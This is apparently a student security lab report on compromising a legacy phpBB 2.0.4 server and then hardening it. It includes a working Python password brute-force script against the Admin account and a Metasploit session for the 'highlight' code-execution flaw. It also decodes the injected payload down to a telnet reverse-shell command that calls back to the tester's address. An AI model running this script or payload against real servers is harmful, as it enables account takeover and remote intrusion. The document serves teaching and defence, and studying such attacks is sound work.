CS2DI17

Lucille Blumire

Abstract

The process of attacking a legacy phpBB server, gaining elevated privileges without proper credentials.

1 Exploit Footprinting and Evaluation

An invaluable tool for identifying working exploits is CVEDetails. This website provides listed vulnerabilities and effected versions for a large amount of software. The version an exploit is being tested against is phpBB 2.0.4 running on Debian 4.0 etch with Apache 2.2.3, MySQL 5.0.32, and PHP 4.4.4. CVEDetails has 47 vulnerabilities noted, with the largest number of these effecting the 2007 and 2008 versions. phpBB 2.0.4 was released in 2003, and thus a large number of these vulnerabilities should effect it.

Filtering to only the most severe of these, the following exploits may be possible on the system.

1) Password Brute-force
2) Arbitrary Code Execution

It is unknown whether all of these will function, as the version of phpBB 2.0.12 may not be susceptible to vulnerabilities introduced in later versions.

2 Exploit Application

2.1 Password Brute-force

The installation of phpBB does not guard against repeated login attempts. This can be used to apply a brute force attack against users and the administrator.

By trying to run a username like 'Admin' through a brute-force attack, which can be seen in the 'Memberlist' page which by default does not hide the name of the Admin account.

It is known that on a successful login, phpBB will issue a path field on the response cookies, where on an unsuccessful login they will not.

This, combined with a list of common passwords[1], will provide the basis for the attack. The code used to perform the attack can be seen in Section 5.1.

The results of the computation are as follows.

```
C:\WINDOWS\system32\cmd.exe /c ( python bruteforce.py)
Cracked Password for Admin: cardinal
```

Showing the script was able to successfully crack the Admin account.

2.2 Arbitrary Code Execution

phpBB 2.0.4 contains a non-sanitised field that can be exploited. The 'highlight' parameter on requests to `viewtopic.php`. This can be used to perform arbitrary code execution.

The exploir relies on two things, the first is the lack of sanitisation of the 'highlight' field. The second is the insecurity of php's `passthru` function, which can be used to perform code execution.

This is exactly what is done by a metasploit module[2] titled `phpbb_highlight` that takes advantage of this vulnerability.

```
C:\Users\Lucille>msfconsole
msf > use exploit/unix/webapp/phpbb_highlight
msf exploit(unix/webapp/phpbb_highlight) > set RHOST phpbb
RHOST => phpbb
msf exploit(unix/webapp/phpbb_highlight) > set TOPIC 1
TOPIC => 1
msf exploit(unix/webapp/phpbb_highlight) > set URI /~phpbb
URI => /~phpbb
```

```
msf exploit(unix/webapp/phpbb_highlight) > exploit

[*] Started reverse TCP double handler on 192.168.1.208:4444
[*] Trying to determine which attack method to use...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo DVpJhRMWyC0YsXUD;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "DVpJhRMWyC0YsXUD\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.208:4444 -> 192.168.1.193:44910)
 ↪  at 2018-03-23 16:39:59 +0000

whoami
www-data
pwd
/home/phpbb/public_html
```

As you can see, the metasploit module was able to establish a remote session. It did this only as the apache user `www-data` which meant that the lack of security of access to `root` is mitigated, but access to that user should be more than enough to modify and gain access to information pertaining to the web server itself.

The expliot works by sending the following request to the server

```
GET/~phpbb/viewtopic.php?t=1&highlight=%2527%252epassthru(chr(115)%252echr(10⌋
 ↪  4)%252echr(32)%252echr(45)%252echr(99)%252echr(32)%252echr(39)%252echr(40⌋
 ↪  )%252echr(115)%252echr(108)%252echr(101)%252echr(101)%252echr(112)%252ech⌋
 ↪  r(32)%252echr(52)%252echr(49)%252echr(48)%252echr(54)%252echr(124)%252ech⌋
 ↪  r(116)%252echr(101)%252echr(108)%252echr(110)%252echr(101)%252echr(116)%2⌋
 ↪  52echr(32)%252echr(49)%252echr(57)%252echr(50)%252echr(46)%252echr(49)%25⌋
 ↪  2echr(54)%252echr(56)%252echr(46)%252echr(49)%252echr(46)%252echr(50)%252⌋
 ↪  echr(48)%252echr(56)%252echr(32)%252echr(52)%252echr(52)%252echr(52)%252e⌋
 ↪  chr(52)%252echr(124)%252echr(119)%252echr(104)%252echr(105)%252echr(108)%⌋
 ↪  252echr(101)%252echr(32)%252echr(58)%252echr(32)%252echr(59)%252echr(32)%⌋
 ↪  252echr(100)%252echr(111)%252echr(32)%252echr(115)%252echr(104)%252echr(3⌋
 ↪  2)%252echr(38)%252echr(38)%252echr(32)%252echr(98)%252echr(114)%252echr(1⌋
 ↪  01)%252echr(97)%252echr(107)%252echr(59)%252echr(32)%252echr(100)%252echr⌋
 ↪  (111)%252echr(110)%252echr(101)%252echr(32)%252echr(50)%252echr(62)%252ec⌋
 ↪  hr(38)%252echr(49)%252echr(124)%252echr(116)%252echr(101)%252echr(108)%25⌋
 ↪  2echr(110)%252echr(101)%252echr(116)%252echr(32)%252echr(49)%252echr(57)%⌋
 ↪  252echr(50)%252echr(46)%252echr(49)%252echr(54)%252echr(56)%252echr(46)%2⌋
 ↪  52echr(49)%252echr(46)%252echr(50)%252echr(48)%252echr(56)%252echr(32)%25⌋
 ↪  2echr(52)%252echr(52)%252echr(52)%252echr(52)%252echr(32)%252echr(62)%252⌋
 ↪  echr(47)%252echr(100)%252echr(101)%252echr(118)%252echr(47)%252echr(110)%⌋
 ↪  252echr(117)%252echr(108)%252echr(108)%252echr(32)%252echr(50)%252echr(62⌋
 ↪  )%252echr(38)%252echr(49)%252echr(32)%252echr(38)%252echr(41)%252echr(39)⌋
 ↪  )%252e%2527HTTP/1.1"20025145"-""Mozilla/4.0(compatible;MSIE6.0;WindowsMT5⌋
 ↪  .1)"
```

This strange request contains our remote access payload, embedded within the hilight field and urlencode. Performing a urldecode on the hilight field gives the following

```
%27%2epassthru(chr(115)%2echr(104)%2echr(32)%2echr(45)%2echr(99)%2echr(32)%2e
 ↪ chr(39)%2echr(40)%2echr(115)%2echr(108)%2echr(101)%2echr(101)%2echr(112)%
 ↪ 2echr(32)%2echr(52)%2echr(49)%2echr(48)%2echr(54)%2echr(124)%2echr(116)%2
 ↪ echr(101)%2echr(108)%2echr(110)%2echr(101)%2echr(116)%2echr(32)%2echr(49)
 ↪ %2echr(57)%2echr(50)%2echr(46)%2echr(49)%2echr(54)%2echr(56)%2echr(46)%2e
 ↪ chr(49)%2echr(46)%2echr(50)%2echr(48)%2echr(56)%2echr(32)%2echr(52)%2echr
 ↪ (52)%2echr(52)%2echr(52)%2echr(124)%2echr(119)%2echr(104)%2echr(105)%2ech
 ↪ r(108)%2echr(101)%2echr(32)%2echr(58)%2echr(32)%2echr(59)%2echr(32)%2echr
 ↪ (100)%2echr(111)%2echr(32)%2echr(115)%2echr(104)%2echr(32)%2echr(38)%2ech
 ↪ r(38)%2echr(32)%2echr(98)%2echr(114)%2echr(101)%2echr(97)%2echr(107)%2ech
 ↪ r(59)%2echr(32)%2echr(100)%2echr(111)%2echr(110)%2echr(101)%2echr(32)%2ec
 ↪ hr(50)%2echr(62)%2echr(38)%2echr(49)%2echr(124)%2echr(116)%2echr(101)%2ec
 ↪ hr(108)%2echr(110)%2echr(101)%2echr(116)%2echr(32)%2echr(49)%2echr(57)%2e
 ↪ chr(50)%2echr(46)%2echr(49)%2echr(54)%2echr(56)%2echr(46)%2echr(49)%2echr
 ↪ (46)%2echr(50)%2echr(48)%2echr(56)%2echr(32)%2echr(52)%2echr(52)%2echr(52
 ↪ )%2echr(52)%2echr(32)%2echr(62)%2echr(47)%2echr(100)%2echr(101)%2echr(118
 ↪ )%2echr(47)%2echr(110)%2echr(117)%2echr(108)%2echr(108)%2echr(32)%2echr(5
 ↪ 0)%2echr(62)%2echr(38)%2echr(49)%2echr(32)%2echr(38)%2echr(41)%2echr(39))
 ↪ %2e%27
```

Which when urldecoded once more gives.

```
'.passthru(chr(115).chr(104).chr(32).chr(45).chr(99).chr(32).chr(39).chr(40).
 ↪ chr(115).chr(108).chr(101).chr(101).chr(112).chr(32).chr(52).chr(49).chr(
 ↪ 48).chr(54).chr(124).chr(116).chr(101).chr(108).chr(110).chr(101).chr(116
 ↪ ).chr(32).chr(49).chr(57).chr(50).chr(46).chr(49).chr(54).chr(56).chr(46)
 ↪ .chr(49).chr(46).chr(50).chr(48).chr(56).chr(32).chr(52).chr(52).chr(52).
 ↪ chr(52).chr(124).chr(119).chr(104).chr(105).chr(108).chr(101).chr(32).chr
 ↪ (58).chr(32).chr(59).chr(32).chr(100).chr(111).chr(32).chr(115).chr(104).
 ↪ chr(32).chr(38).chr(38).chr(32).chr(98).chr(114).chr(101).chr(97).chr(107
 ↪ ).chr(59).chr(32).chr(100).chr(111).chr(110).chr(101).chr(32).chr(50).chr
 ↪ (62).chr(38).chr(49).chr(124).chr(116).chr(101).chr(108).chr(110).chr(101
 ↪ ).chr(116).chr(32).chr(49).chr(57).chr(50).chr(46).chr(49).chr(54).chr(56
 ↪ ).chr(46).chr(49).chr(46).chr(50).chr(48).chr(56).chr(32).chr(52).chr(52)
 ↪ .chr(52).chr(52).chr(32).chr(62).chr(47).chr(100).chr(101).chr(118).chr(4
 ↪ 7).chr(110).chr(117).chr(108).chr(108).chr(32).chr(50).chr(62).chr(38).ch
 ↪ r(49).chr(32).chr(38).chr(41).chr(39)).'
```

This entire thing is placed inside a `preg_replace` function that executes it's contents. Replacing all of the `chr` with their equivalent ascii values, gives the following instruction being sent for execution.

```
sh -c '(sleep 4106|telnet 192.168.1.208 4444|while : ; do sh && break; done
 ↪ 2>&1|telnet 192.168.1.208 4444 >/dev/null 2>&1 &)'
```

A command which instructions the system to create a new interactive shell, and forward this shell to the IP address given (my own local IP address).

3 System Hardening

3.1 Password Brute-force

There are a number factors that facilitate the password brute-force attack that can be guarded against. The first and most significant is limiting the number of login attempts that can be made before a timeout. Though this will not prevent brute-forcing, it will make it substantially less efficient to do.

It is not trivial to set in phpBB 2.0.4, however it can be configured trivially in phpBB 2.0.22. By updating to this version, the system can be made significantly more secure.

By going to the General Admin Configuration of the phpBB website, the 'Allowed login attempts' can be set. Making this something forgiving, but harsh like 3 would be advisable. Next, the 'Login lock time'

determines how many minutes a user must wait for after hitting their login limit. Setting this to something like an hour, means that to rule out the 1000 most common passwords for any given account, 334 hours of constant attacking would be required.

The next thing is to ensure that all admin accounts have secure passwords that would not be vulnerable to common dictionary or password list attacks. This can be done by generating secure high entropy passwords for all admin accounts.

User accounts may be markedly less secure, though barring the event that their passwords are 'password' they are likely to notice that their account is logged out if they maintain any form of login frequency (and therefore likely care about the security of their account).

Once this upgrade is carried out, the server now begins automatically rejecting all requests after the first 3, and does not accept any more for an hour. This paired with the changing of the administrator password from the insecure 'cardinal' to a much more secure randomly generated key secured the system.

3.2 Arbitrary Code Execution

The arbitrary code execution relies on a multitude of vulnerabilities. The lack of sanitation of the input of highlight being one of the most significant, the execution of `passthru`, and the execution within the `preg_replace`.

The first of these can be fixed by simply making use of PHP's `urldecode` before sanitising with the `htmlspecialchars` function, ensuring that the payload cannot be hidden inside urlencoding.

The next step in securing this system is a change to how the highlight data is presented inside `preg_replace`. This is done by calling PHP's `addslashes` function to make sure that all sequences that could allow for escaping and implementing instructions are properly escaped. Further sanitising and keeping contained the users input.

It might be possible to disallow the execution of `passthru` entirely, however this is not something that I would recommend as it could cause further breakages to other PHP software in future.

Ultimately, all the changes required to secure the system are implemented in later versions, with 2.0.22 being fully secured. As such, updating the system to this version would protect against the vulnerability.

Once this upgrade is carried out, the server no longer allows for remote code execution embedded inside the highlight field. Sending the same request simply results in the server responding with the page, without also allowing a remote shell to be connected to.

4 Bibliography

References

[1] D. Wittman, *Wpxmlrpcbrute*, github.com. [Online]. Available: https://raw.githubusercontent.com/DavidWittman/wpxmlrpcbrute/master/wordlists/1000-most-common-passwords.txt.

[2] V. Smith, H. D. Moore, and P. Webster, Metasploit. [Online]. Available: https://www.rapid7.com/db/modules/exploit/unix/webapp/phpbb_highlight.

5 Source Listing

5.1 Bruteforce

```
import urllib.request
import urllib.parse


# Edit these to reflect the target server
PROTO = "http://"
DOMAIN = "192.168.0.54"
PATH = "/~phpbb/login.php"
TARGET_USER = "Admin"
PASSWORD_LIST = "1000-most-common-passwords.txt"
```

```
# END CONFIGURATION


file_text = ""
with open(PASSWORD_LIST) as f:
    file_text = f.read()

for password in file_text.splitlines():
    password = password.strip()
    url = PROTO + DOMAIN + PATH
    data = urllib.parse.urlencode({
        'login': 'Log+in',
        'password': password,
        'redirect': '',
        'username': TARGET_USER
    }).encode('ascii')

    cookie_proc = urllib.request.HTTPCookieProcessor()
    opener = urllib.request.build_opener(cookie_proc)

    request = urllib.request.Request(url, data)
    response = opener.open(request)

    cookie_jar = cookie_proc.cookiejar

    res_text = response.read()
    if b"Log out" in res_text:
        print(
            "Cracked Password for {}: {}"
            .format(TARGET_USER, password)
        )
        break
```